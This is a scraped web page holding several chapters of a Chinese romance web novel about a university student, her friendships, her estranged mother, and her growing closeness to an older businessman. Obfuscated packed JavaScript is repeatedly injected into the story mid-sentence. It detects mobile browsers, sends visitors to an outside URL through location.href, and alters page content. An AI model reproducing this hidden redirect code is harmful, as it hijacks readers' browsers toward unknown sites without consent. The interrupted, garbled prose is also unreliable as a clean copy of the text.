第二首曲子响起,那几个男生的起哄终于有了结果,一个瘦高个男生三步并作两步,爬上台阶来到江知意面前,紧张地吸一口气,问:“同学,可以加个微信吗?” 还真是来要微信的,江知意想。 林岚懒懒扫了他一眼,手上没停,继续弹着solo。 快要入冬,瘦高个男生身穿薄T却额上有汗,看得出来他确实很紧张。 在这种情况下被拒绝,不用猜也知道会是一件多么尴尬难堪的事,甚至有可能影响他以后再也不敢要联系方式。 但—— 江知意微笑着摇头:“不可以。” 她说出来了。 若在以前,她大抵会心软,不想让他下不来台,会暂时同意,事后再找个机会删了。 但现在,经过王瑜那件事,她渐渐明白,表达自己的感受是一件更重要的事。 就如现在,她对这个男生没兴趣,加上也不会多聊,既然如此,为什么要加。 不如一开始就不加。 高个男生的脸色果然变得勉强。 他试图挣扎:“真不行啊同学?我是看你眼熟,有问题想问你才说加微信的。” 吉他声突兀地停下,林岚不悦地抢在她前面开口:“能不能有点眼色?没听到她说不可以吗?还要拒绝你几次?” 这下男生的面子彻底挂不住了,他扯了扯嘴角,笑不出来,只能尴尬离开。 林岚主动帮她说话,江知意意外,但更意外的是她的说话风格。 对于不喜欢的人,她性格出乎意料的烈。 “你刚才很酷。”林岚开始收吉他,显然是被刚才的插曲影响了心情,“直接拒绝,不拖泥带水,我喜欢。” “你刚才也很酷。”江知意补上迟来的感谢,“谢谢你帮我说话。” 林岚背好吉他包,看着她笑了:“我去吃饭,要不要一起?” * 那天之后,江知意开始常常遇见林岚。 或许以前也遇到过,只是擦肩而过从未注意。 如今有了交集,打过几次招呼,两人加上了微信,偶尔还会约吃饭。 得知她是数学专业时,林岚忍不住战术后仰,佩 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16037827|171738||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 服道:“数学专业?猛人。” 佩服完又好奇:“数学专业都学些什么?” 江知意想了想:“比如0.9999…的循环等于1?” 林岚挑眉:“Interesting。” 作为交换,林岚也会给她讲一些管院的事。 她坐在对面撑着下巴听,觉得遇到林岚是一件相见恨晚的事。 数计院和管院交集不多,课程表的时间和教室也经常错开,两人见面的次数不算频繁,却每一次都比上一次更熟稔。 仅仅一个月,她和林岚的要好程度就超过了舍友。 xyz:【她是个很酷的人,不在意外界眼光,不care别人怎么想,一心一意只专注自己。】 xyz:【她说,她想成为什么样的人,想做什么的事,用不着别人来指指点点。】 入夜,江知意躺在床上给傅延青分享。 F:【你很喜欢她。】 xyz:【和她做朋友很开心。】 F:【挺好,朋友本来就是要自己选的。】 江知意深表认同。 林岚也曾和她说过类似的话,大家性格不同,总有玩得来和玩不来的,舍友和同学都是学校和社会分配给你的,但朋友,你可以从中自己选——选自己喜欢的。 她发了个表情包,继续打字。 xyz:【辩论赛快结束了,管院惜败文院,没进前三,得了第四。】 想到林岚跟她说的,江知意慢慢打字,问出自己的疑惑。 xyz:【林岚说,她们学姐对今年的新生不太满意,觉得资质一般,能进八强就算成功,结果他们得了第四,比预期结果好太多,她们学姐反而更不开心了,一直在可惜败给文院的那场。】 xyz:【我不理解,一开始不是只要八强就够了吗?为什么得了第四学姐反而不开心了?】 对她来说,只要达到预设的目标她就会满意,无论之后是胜是败,她都不会太在意,胜固然好,败也无妨。 争不争第一,只在于她的目标是不是第一。 哪怕她得了第八,只要在目标范围内,她就会很高兴。 F:【人性本贪,庸人自扰。】 傅延青只回了这八个字。 来到八强就想展望四强,来到四强就想保持前三,来到前三就想争一争第一。 人的欲望永无止境,如果一个人的眼里只看得到失去什么而不是得到什么,那便永远只能庸人自扰。 江知意盯着屏幕思考片刻,忽然想,人性本贪,那傅延青有贪求的东西吗? 她是一个容易满足的人,没什么非得不可,傅延青呢? xyz:【那你呢,你有贪求的东西吗?】 傅延青罕见地没有立刻回复。 沉默一分钟后,他的新消息弹出。 F:【当然。】 竟然有? 江知意迫不及待地打字:【什么?】 F:【以后你就知道了。】 这么神秘,还“以后她就知道”? 江知意抱着手机思考半天,仍是一点头绪都没有。 很难想象傅延青这样的人会对什么东西产生贪念。 钱,权,色,他好像都不感兴趣。 那会是什么呢? 34. Round 2 过完圣诞没几天便是元旦,但因着即将到来的考试周,学校里大部分人都无心玩乐,一心只准备期末考。 江知意也不例外,期末考的绩点关乎很多事,如果她想争取一些名额和奖励,那名次和成绩就是重中之重。 因为准备考试,她和林岚也只有吃饭的时候偶尔见见,剩下大部分时间她们都在各忙各的。 一直到31号,这一年的最后一天,发生了一件事。 一件意想不到的事。 ——她被表白了。 新年前的最后一天,宿舍约好一起吃饭,吃完饭十点多,回学校的路上,她的电话响起。 是王鑫打来的。 他很少直接给她打电话,更何况是这种深夜,会是什么事? 江知意好奇接起,对面传来吵吵嚷嚷的声音。 三四个人的声音交叠在一起,起哄说着什么“表白啊”,“不表白她怎么知道”,“你再等她就和别人在一起了”…… 他们好像喝了酒,音量起伏不定,说话断断续续的,江知意皱眉,这是什么意思? “别吵!”王鑫的声音从最清晰的地方传过来,却不是对着她,“我现在就告诉她!我喜欢她!我喜欢她!” 好像赌气又好像壮胆,他一遍遍重复着“我喜欢她”,到最后变成了一种疯狂的宣泄。 江知意:“……” 她终于搞清楚状况了。 她接了电话却一直没说话,一旁的舍友凑上来:“谁啊,你半天不说话,是不是出事了?” 江知意摇头,她将手机拿远了些,示意着舍友先走,她晚点再回去。 舍友纳闷看她,念及她还在讲电话,只好道:“那好吧,我们回去给宿管阿姨说一声,让她给你留个门,你早点回啊。” 江知意连连点头。 重新将手机放回耳边,那边还没消停,没有一个人发现电话已经接通半天了。 他们推搡着起哄:“表白啊,有胆子你就表白啊!” 王鑫也是上头:“表白就表白,我现在就给她打电……” 接着声音突兀地断掉,连同对面的嬉闹声起哄声都一齐低下去,一瞬间安静得有些过分。 知道他终于发现了,江知意轻轻开口:“王鑫。” 王鑫:“……” “江知意……”他酒醒了大半,问她,“你听到了,是吗?” “嗯。”江知意只能这么回答。 王鑫深吸一口气,声音低下来,鼓足勇气,以一种正式又严肃的语气说道:“我喜欢你。” 他一字一字,声音带着轻轻的颤抖和小心翼翼:“特别喜欢,从高中时就喜欢。所以,你可不可以做我女朋友?” 江知意捧着手机,陷入久久的沉默。 她想起了很多事,比如她和王瑜走在一起,王鑫的目光总是先看向她;比如王瑜问她有人给王三金表白,她有何看法;比如王瑜多次奇怪的反应。 果然如此。 王鑫很早以前就喜欢她了。 他们都看得出来,只有她看不出来。 平心而论,她对王鑫没想法,做朋友可以,谈恋爱……她不行。 她要求不高,只要和对方两情相悦即可,很显然,王鑫并不满足这唯一的条件。 万幸她已经是个学会拒绝的人了。 “抱歉。”江知意开口,“我们还是……做同学吧。” 不是朋友,只是同学。 这话拒绝之意明显,连退路都没有留,王鑫是个聪明人,懂了她的意思,沉默几秒,他苦笑:“我知道了。” 以后还是同学,遇见了就大大方方打个招呼,仅此而已。 “很晚了,我就不打扰你了。” “……江知意,再见。” “再见。”江知意说。 挂断电话,她一个人又在路边的长椅上坐了很久。 很多模模糊糊想不通的事都有了答案。 原来如此。 可惜,她不喜欢他,他们只能当同学。 回忆起高中就难免想到王瑜。 这学期大家都忙,两人的聊天断断续续的,有时候一个月都不一定能说一句话。 这会儿马上到零点,她忽然有点想她。 江知意取出手机给王瑜发消息。 xyz:【你什么时候放假?寒假我们要不要约一面?】 她没想着王瑜会立刻回复,发完消息就收起手机,慢慢向宿舍走去。 明天是和苏语琴约好的日子。 要吃饭,要见叔叔。 烦。 * 江知意没等零点,回宿舍倒头就睡,第二天醒来才发现傅延青半夜给她发了条消息。 凌晨3点47分,他说:新年快乐。 这么晚,该不会才忙完工作吧? 她心里一软,也跟着回了个新年快乐,想了想觉得不够,又多给他发了个表情包。 毛绒绒软乎乎,一看就让人心化的那种。 发完消息,想到接下来要见的人,江知意笑意敛住了。 她抿了下唇角,对着镜子确认自己衣着体面,背上包出了门。 早上十点,苏语琴和那天见过的中年男人已经在校门口等她。 见她出来,苏语琴笑着走上前:“吃早饭了吗?” 没吃。 但她不想多事,点头回答:“吃了。” “行。”苏语琴摸了下她的头,“快过年了,妈妈带你去买新衣服,给你当新年礼物。” 若在以前,江知意大抵会觉得感动和高兴,可如今她听到这些话,心里一点波动都没有。 她太熟悉苏语琴这种先示好再谈目的的套路了。 来看她给她买衣服,也不过是为了后面的事她不好发作而已。 江知意扯唇笑了笑,没有说话。 苏语琴带她去了一家很贵的商场,她很用心,即便她全程没有任何意见和兴趣,她也比照着她的身形给她挑了很多衣服让她试。 逛了一个多小时,苏语琴给她买了一件毛衣,一件外套和一条围巾。 虽然不多,但每一件都价格不菲,破了四位 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16061315|171738||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 数。 苏语琴很少这么大方,看来今天除了介绍叔叔给她认识,还有别的大事。 江知意面无表情地想。 买完衣服去吃饭,趁点完菜的空当,苏语琴终于说起这次的来意。 其一是介绍叔叔,她说:“知意,这是你张叔叔,以后如果有急事联系不上妈妈,你也可以找张叔叔。” 她笑着递过手机:“这是叔叔的手机号,你记一下。” 江知意看了几眼手机号,拿出手机乱打了11位数字:“记了。” “嗯,记了就好,手机号就是叔叔的微信,你有需要也可以加一下。” 其二是房子的事。 “说起来你们快考试了吧,学校有说什么时候放假吗?” “下周出考试安排,考完试就可以走。” “那就是快了?”苏语琴说完看张叔叔一眼,“寒假你怎么安排,还回你爸那儿吗?” 这句话说完,江知意心里一沉,彻底明白苏语琴为什么来找她了。 “还回你爸那儿吗”的潜台词就是,“你回你爸那儿吧”。 她怎么会听不明白。 ——就知道她和江淮平靠不住。 江知意觉得自己应该难过,可心却是麻木的。 她一点情绪都感觉不到。 她缓缓眨了下眼睛,平静接话:“嗯,去爸爸那里。” 如愿得到想要的答案,苏语琴如释重负,笑容重新回到脸上:“好,正好房子的租约还没到期,你也不方便住,你跟你爸说好了就行。” “奶奶生病时欠的钱还完了吗?”提到租约,江知意忍不住多问一句。 “早还完了。”苏语琴一愣,“当初租约签得久,现在也不好把人家赶出去,你既然去你爸那儿住,剩下的别操心了。” 她也没想操心。 谁在乎。 江知意低下头,到底没说出这一句。 一顿饭吃得没滋没味,吃完饭苏语琴说还有事,送她到车站他们就走。 江知意懒得拒绝,默默和他们走到了车站。 今天过节,街上人多,车站人更多。 想着再不说就没机会了,苏语琴开口:“知意,你别怪妈妈,当初和你爸离婚时,合同写的大学以后你归你爸管。” 江知意沉默。 有时候她真的很不懂苏语琴。 不懂她明明是她的亲生骨肉,她却总拿合同说事。 好像有了合同她就不用再对她负责,就可以把她撇得干干净净。 但事到如今,她已经懒得再追究和计较这些事了。 很累。 而且她有零零散散的课外收入,即便没有苏语琴和江淮平,她也能过得很好。 “嗯,没事。”最后她这么说道。 苏语琴很高兴她这么懂事,忍不住又笑了:“那你快回学校吧,好好复习,我和叔叔先走了。” “嗯。” 道完别,两人走远,张叔叔忍不住感慨:“你女儿真懂事。” 苏语琴笑:“她一直很懂事。” 35. Round 2 傅延青过了很久才醒。 他不清楚自己睡了多久,但他醒过来的第一眼,贺凌舟和周医生都站在床边一脸严肃地看他。 “傅总,你这也太乱来了。” “就是,这会再重要能重要得过你的身体?好好的逞什么强啊?” 周医生先开口,贺凌舟接着就是一顿帮腔。 傅延青病中疲惫,垂下眼道:“没想过这么严重。” 这话是实话。 记忆里他就没怎么生过病,即便有不舒服,也因为周医生很快就好了。 像这次这么严重的,还是头一遭。 “……” 两人一时无语,还真没法反驳。 “不过接下来您可不能再这么乱来了,得好好休息,有什么事,能推就推吧。”周医生继续。 “好。”傅延青应道。 “这就对了。”见傅延青答应,贺凌舟换上平时的不正经神色,故作神秘道,“为了帮你养病,我给你带来了一个好药,绝对管用。” 傅延青静静看他,连眼皮都没有掀动一下。 贺凌舟说话夸张,喜欢夸大事实,他可没指望贺凌舟能给他带什么好东西。 “等着。”贺凌舟说完转身到卧室门口,朝外面招了招手,“来,他醒了。” 接着脚步声响起。 傅延青瞳孔一缩,一个不可能的猜想在心中浮现。 这样熟悉的脚步声,不会是…… “傅延青?”少女的声音和她的人一起出现在他的世界。 “我给你打电话你没有接,他接了。”江知意指指贺凌舟,“他说你病了,所以我不请自来……来看看你,行吗?” 怎么会不行。 傅延青看着她,心里突然涌上一股酸酸涩涩的感觉。 都说病中的人情绪容易受到波动,他大抵也是这样。为了她忍受的痛苦和伤害,他从来没想过告诉她,可他醒来,奇迹般地看到她,心就不受控制地跳动起来。 她来了,他很高兴。 真的很高兴。 他一句话没说,只是这样望着江知意,贺凌舟见多识广, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16100279|171738||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 自然知道这是什么意思,他笑眯眯找了借口带周医生出去,很快,卧室门被关上,房间只剩他们两人。 她走过来,有点紧张和愧疚:“对不起,我不知道你病了,这两天你回消息慢了很多,我以为你在忙,就没有多问,早知道,我应该早点问问你的。” “这有什么好对不起的?”傅延青轻轻弯了下唇,“我没说就是不想让你担心,不用放在心上。” 江知意听完好像更愧疚了,或者说,难过。 她又走近几步,固执地摇头:“不好,不要这样。” “不要什么?” “不要瞒着我,我想知道。”她低下头看他,眼里映出他的模样,“上次生日礼物也是这样,你总是瞒着我,下次能不能不要这样?” “你每次都及时出现,及时帮我,就算我做不到跟你一样及时,我也想试着帮帮你。傅延青,我们不是朋友吗?朋友不就该相互关心相互付出吗?” 可我不想跟你做朋友。 傅延青掐了下指尖,咽下了差点脱口而出的这句话。 36. Round 2 生活有期待是一件值得高兴的事,自从和傅延青约好一起过年,江知意便数着日子,期待起那天的到来。 她从未想过和傅延青一起过年,可当他主动提起时,她的第一反应,竟然是觉得还不错。 果然,人在经历过第一次后,会变得更容易接受第二次。 去年是傅延青陪她过的,所以今年继续,也变得没那么难接受。 九天,八天,七天…… 她将自己吃过的药推荐给傅延青,希望他快点病好,傅延青只是笑,说他烧得重,这种药已经不适用了。 江知意只好叹气。 看出她的失落,傅延青反过来安慰说,周医生已经给他开最好的药了,按时吃药的话,很快就能好。 很快是多快,江知意问。 三天内,傅延青回答。 后来果真如傅延青所说,三天他的病就彻底好了。 江知意又去看了他一次,确认他说的是实话才放心。 六天,五天,四天。 离除夕越来越近,人们都忙着过年,江知意也停了手上的散单和家教,开始把大部分的时间分给自己。 除了一直在练习的ps和pr,她还每天用一个小时来学习外语。 一个小时听起来不多,但贵在坚持。 有朝一日,她也想去世界各地看看,见见不一样的风景,认识不一样的人。 距离除夕还有三天的时候,江知意决定给自己买几件衣服。 她平时心思不在打扮上,一学期下来也没买几件衣服,最新的毛衣外套还是苏语琴给她买的。 坦白说,苏语琴眼光很不错,给她买的衣服在她的审美点上,可就是因为那些衣服是苏语琴买的,她才不想穿。 苏语琴总是自顾自地给她补偿式礼物,好像她接受了礼物,就应该原谅苏语琴。 她偏偏不想原谅。 只要她不穿,那她就不算接受苏语琴的补偿。 少女穿戴好衣服围巾,冒着寒风出了门。 街上是意外的热闹,人们都在抓紧最后几天备年货,生怕晚来一步就没了,江知意混入人群,独自坐车去了市中心。 临近年关,快递停运,商家抓住人们“新年要穿新衣”的心理,知道大家此刻只能选择实体店,纷纷给衣服涨了价。 江知意转了几圈,看着夸张的价格,有些懊恼。 都怪她,她忘了过年要早点买衣服的,她来得太迟了。 她原本想贵点就贵点,过年对自己好一些也没什么,可当贵了一倍不止的价目表摆在眼前时,她终究没能狠得下心。 夜风凛冽,逛了一圈无功而返后,江知意慢吞吞走在回学校的路上。 她拉了拉围巾,盖住自己半张脸,平静地想,算了。 不穿新衣服也能过年。 衣服什么时候都能买,何必急于这一时。 旧衣服,也挺好看的。 门卫的大爷还在值班,他裹着军大衣坐在椅子上,一边看视频一边哼小曲,见她回来,他拉开窗问她:“姑娘,快过年了,你什么时候回家啊?买票了吗?” 江知意笑着摇头:“我不回家,过年就在学校。” 大爷一愣,连连叹气:“唉,过年怎么能不回家呢,是不是和家里吵架了?” 没吵。 她只是不想回不属于她的家而已。 她敛了笑,沉默着摇头,正要走开,大爷又叫住她。 他从门房里追出来,给了她一包糖,笑着说:“没事,没事啊,爷爷不问了。这糖你拿着,就当爷爷给你的新年礼物。爷爷明天回家,初三才回来,你一个人乖乖的,好好照顾自己啊,要是害怕,就给爷爷打电话,爷爷来找你。” 说完,他在便签纸上写了串数字递给她。 江知意愣了愣,而后又笑了:“嗯,谢谢爷爷。” * 还有一天就是除夕,想着和傅延青一起过年的事,江知意开始紧张。 以往都是和苏语琴一起过的,对于过年具体的流程,她其实不太了解。 她不清楚除夕应该从几点开始准备,她应该几点见傅延青,她又需不需要带些什么。 眼看已经晚上,傅延青还没有发消息,江知意忍不住点开对话框。 ——我们明天几点见? ——你一般几点吃年夜饭? ——我需要带什么过去吗? ——我去公司找你,还是直接去你家? 她想了很多种措辞都觉得不满意,对话框里写了删,删了写。 最后她蓦地想,离除夕只 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16140175|171738||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 剩几个小时了,傅延青怎么还不找她。 他是不是……忘了? 还是说,他过年前也要忙工作,这个时候加班顾不上她? “叮”的一声提示音,傅延青的消息终于姗姗来迟。 F:【晚上五点,我在学校门口等你,方便吗?】 太好了,他没忘。 江知意舒了口气,打字。 xyz:【方便。】 F:【嗯,那就五点。明晚会下雪,记得多穿点。】 明晚会下雪? 惊喜于明晚又能赏雪,江知意嘴角上扬,回复道:【好的。】 定好时间,江知意拉开行李箱,认真挑选起明天要穿的衣服。 虽然没有像样的新衣,但她也不想穿得太随便太寒碜。 ——那可是除夕。 一年中最重要的日子。 * 除夕当天,江知意难得放纵地睡了个懒觉。 等起床慢吞吞地收拾完,已经是下午两点。 群里和列表已经有人在送新年祝福,其中包括林岚和王瑜。 江知意回了一圈消息,跟着发了一遍新年祝福,苏语琴的消息到了。 第一条消息是转账一千,第二条是正文。 苏语琴:【新年快乐,想吃什么想买什么就去买,有空我去学校看你。】 很简短的一句,后面还跟了个无期限的饼。 有空?恐怕永远都不会有空。 又看了一圈消息,时间来到下午四点。 一个小时可以干不少事,但莫名的,江知意看什么都静不下心。 四点四十,估摸着时间差不多,江知意戴好围巾下了楼。 天空是干净温柔的,风是宁静而不刺骨的,她走在路上,第一次觉得这天如此合人心意。 提前十分钟来到校门口,傅延青的车已经到了。 他没有在车里等,而是下车靠在车边,望着远处的天沉思。 黑色大衣衬得他身形修长挺拔,仅仅一个背影轮廓就贵气逼人,引人注目。 傅延青没有看到她,伸手取了根烟准备点燃,打火机放至烟旁,他却一顿,不知想了些什么,又收回去了。 江知意笑了。 她走上前:“傅延青。” 37. Round 2 目送江知意离开,傅延青靠在车边,给自己点了一根烟。 有些事情不光江知意没缓过来,他也没缓过来。 猩红的火光在烟头亮起,他吸了一口烟,缓缓看向自己的左手。 刚才就是用这只手牵了她的…… 手。 很奇妙的感觉。 她的手很冷,握在手里就不自觉地生出保护欲。 还有…… 占有欲。 如果能不松开就好了。 烟圈在空气中缓缓散开,远处的烟花还在燃放,傅延青低着头,想起几个月前他说过的一句话。 人性本贪,庸人自扰。 ……他又何尝不是。 得到了一点,就想要更多。 她这样好,他如何能甘于满足。 * 回到宿舍,江知意累得倒头就上床。 今天玩这么晚,她觉得自己应该很累,应该好好睡一觉,可身后的窗外烟花不断,她闭着眼想入睡,神智却越来越清醒。 连同某些事,也一并在她脑海中清晰起来。 半晌她睁开眼,从被子里伸出右手,看得出神。 她今晚,好像不小心被傅延青牵手了。 神奇的是她竟然一点排斥都没有。 他的手握上来那一刻,她的心跳慢了一拍,紧接着心脏以更剧烈的速度跳动起来,咚咚咚,快得像要跳出胸腔。 甚至于就连现在想一想,那种心跳加速的感觉就又回来了。 傅延青的手好温暖,她想。 她有点想让他别松开,但她不明白为什么。 为什么呢? 江知意翻了个身,看向窗外,傅延青对她说新年快乐的样子还历历在目。 那是她第一次那么清晰又近距离地看他的眼睛。 光华夺目,漂亮得惊人。 她失神地看着窗外,又想起去年除夕的一幕。 彼时她说:“时间?可以啊,十年。你能在我身边待十年我就相信你。” 而那时傅延青回答:“好。” 一个干脆又简单的好。 她是个很难完全相信别人的人,即便傅延青说好,可反悔的资格在他那里,他真的要走,她也不能怎样。 她不相信傅延青会真的陪她十年,可是这一刻,江知意曲起腿,竟忍不住地希望他说的是真的。 她为自己有这样的想法感到羞耻,觉得自己不应该对他人抱有期待,期望越大失望越大,可 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16173121|171738||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 内心深处,她又想这样期待一次。 想相信傅延青一次。 说好的十年,能不能别骗她,别反悔? 江知意不明白这意味着什么,只知道今晚的除夕她很开心。 她已经很多年没有这样开心的除夕了。 如果可以,明年她想继续。 要不,现在就问问傅延青吧。 夜晚的人总是容易冲动,这么想着,江知意拿出手机,点开和傅延青的对话框。 ——明年的除夕,你还是一个人吗? 她打好了字,却在点发送的那一刻犹豫起来。 这样是不是太不矜持了。 才过完除夕就想着明年,是不是太着急了。 内心天人争斗一番后,江知意放下手机,无奈笑自己。 优柔寡断,她什么时候变成这样了。 也罢,明年的除夕还是明年再说吧。 她删掉对话框里的字,手指顿了顿,又点开傅延青的头像,看着他的个人资料页发呆。 傅延青是突然出现在她身边的,这一点她从没有忘记。 他到底是什么人。 他因何而出现,又会因何而离开。 他真的,能陪她十年吗。 38. Round 2 元宵后没几天就是开学。 换宿舍,打扫宿舍卫生,领书,开班会…… 又陷入忙忙碌碌的大学生活。 江知意查了上学期的成绩,考得很不错,绩点都很高,她满意地打开课表,做起这学期的计划。 这学期过完,正式的一学年就算结束,届时会进行综合测评,有各种名额和奖学金的评比,如果想争取资格,这学期就不能松懈。 评选资格不仅看硬性的学习成绩,还看各种校园活动,譬如学生会,譬如社团活动,譬如各种比赛竞赛。 上学期已经参与过辩论赛的相关活动,这学期江知意打算换一个,改参加数学建模。 所谓数学建模,便是由几人组成一个小队,任选某一任课教师做指导老师,而后选择课题,在规定时间交出成果,最后评定成绩。 组队的几人没有规定必须是同一年级,换言之,各个年级都可以自由组队,只要你相信队友的实力。 数模比赛往往是全国性的比赛,如果拿了名次,在综测和简历上都会是很加分的存在。 江知意在寒假就做了准备,看过分析过一些以往的课题,接下来需要的,就是找队友。 不过这事不急,离比赛开始还有一个月,她有足够的时间去沟通组队。 眼下重要的是另一件事。 体育课选修。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16204331|171738||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 大一第一学期,体育课都是固定内容,到第二学期,变成了自由选修,此刻看着羽毛球乒乓球篮球足球等一众选项,江知意有些眼花缭乱。 “江知意,体育选修你选好了吗?听说有的课已经没了,再不选就只剩没人上的课了。”一个舍友说。 “啊?”江知意惊讶,“什么课没了?” “羽毛球吧。”舍友想了想,“其他我也不清楚,我想选羽毛球,结果满了。” 她凑过来:“你选什么啊,让我参考一下呗。” “没想好。”江知意摇头。 舍友叹气:“算了,我还是赶紧选吧,不然一会儿剩下的课更糟。” 39. Round 2 三天后,数模比赛正式落下帷幕。 在机房不见天日地泡了三天,此刻骤然见到阳光,江知意有种心情都明朗的感觉。 同组的男生要回家拿换洗衣服,剩她们两个女生一起回学校。 三人走到校门口分开,江知意拿出手机查路线,同行的女生忽然扯了扯她袖子。 “江知意你看,对面那个人是不是在看你?” 江知意闻声抬头,傅延青的身影就那么猝不及防进入她的视线。 五月中旬的天已经有点热了,男人没穿外套,领带也被取下,身上的黑色衬衫解开一颗扣子,挽起袖口,看起来轻松又随意,不似他一贯的讲究。 他站在那里静静看她,似在等她自己选择跟同学走还是跟他走。 男人的目光平静得像水,毫无压迫逼迫之意,江知意却无端紧张起来。 她有点懊恼他来之前怎么不跟她说一声。 连轴转72小时,刚结束比赛,她一定憔悴得黑眼圈都出来了,整个人蔫了吧唧,一点精气神都没有,而他看起来体面又优雅,这对比,她都没眼看。 虽说一个多月没见,她挺想见他的,可她不想在这种情况下见他啊。 怎么说也得好好补个觉,收拾一下再去见他啊…… 但让她装看不见,掉头就走,她也做不到,只能—— “抱歉啊,我有点事,要不你先回学校吧。”江知意说。 女生猜出什么,恍然大悟地笑了,点头道别。 等她离开,江知意一刻也等不及,脚下生风向傅延青奔去。 “傅延青。”她在他面前停下,仰头惊喜道,“你怎么来了?” 傅延青低眸,看到她的一缕头发不听话地翘起,扎眼地立在那里,像炸了毛,可爱得让他移不开眼。 他很少见她这副模样,觉得新鲜,忍不住轻笑:“临时起意的,怕打扰你就没说。” “你怎么知道我在这儿?” “又不是什么机密信息,官网一查就查到了。” 也是哦。 “那你找我什么事?”她又问。 “没什么事,压力大,有点累,和你在一起能轻松些。”他淡淡一笑,“饿了吗,我带你去吃饭?” “好啊。”江知意笑起来。 * 吃完饭,傅延青说要送她回学校休息,江知意不想那么快分开,提议一起散步。 傅延青略一思索,点头说好。 车停在学校附近,两人下车沿着路边走。 八点多,天彻底黑了,街上的人不多不少,刚刚好适合散步。 二人并肩而行,江知意走得慢,傅延青便放慢速度,陪她慢下来。 最初一段路两人谁都没有说话,只有晚风徐徐吹过。 这个季节的风吹在脸上不冷不热,柔柔的很舒服,江知意安静散着步,莫名觉得开心,却又说不上来为什么开心。 这样温柔的夜晚,她想到自己的生活,自己的朋友,自己的未来,觉得一切都真好。 这些细碎的幸福已经是可遇不可求了,她没什么不满足了。 她忍不住微笑,没头没尾地开口:“其实我有个问题一直想问你。” “什么?” “你姓傅,大家叫你傅总,但实际上你是正职,那对于真正的副职,大家怎么称呼?副总吗?傅总和副总,大家分得清吗?” 傅延青:“……” “还有,如果不熟悉你的人见你,听到别人叫你傅总,会不会以为你只是个副职,进而轻慢你,做出一些无礼的举动?” 傅延青:“……” 他怎么也没想到江知意一直想问的问题是这个。 这问题太小太无关紧要,从未在他的考虑范围内,可她一本正经疑惑的样子,又着实可爱。 可爱得他都想…… “傅延青?”江知意停下来,好笑道,“这问题很刁钻吗?还是说我问得太低级了,你被我无语到了?可我真的很好奇……” 剩下的话断在口中。 傅延青没有说话,只是停在她面前,一点点低头。 两人之间的距离也随着他的低头一点点缩小。 江知意忘了自己要说什么,大脑变得空白,怔怔看着他的脸越来越近,心跳好像在某个瞬间突然变得剧烈,如擂鼓一般,咚咚咚。 夜色朦胧,他的眼神温柔如月光下的河面,碎光闪烁,漂亮得令她移不开眼。 傅延青有一双好看的眼睛,她早就知道。 风拂过,吹动他的发梢,带来似有若无的柠檬香。 柠檬……香? 江知意反应了一瞬,才意识到柠檬香是傅延青身上散发出来的。 确切地说,是他头发的味道。 他也用柠檬味的洗发水吗? 好闻。 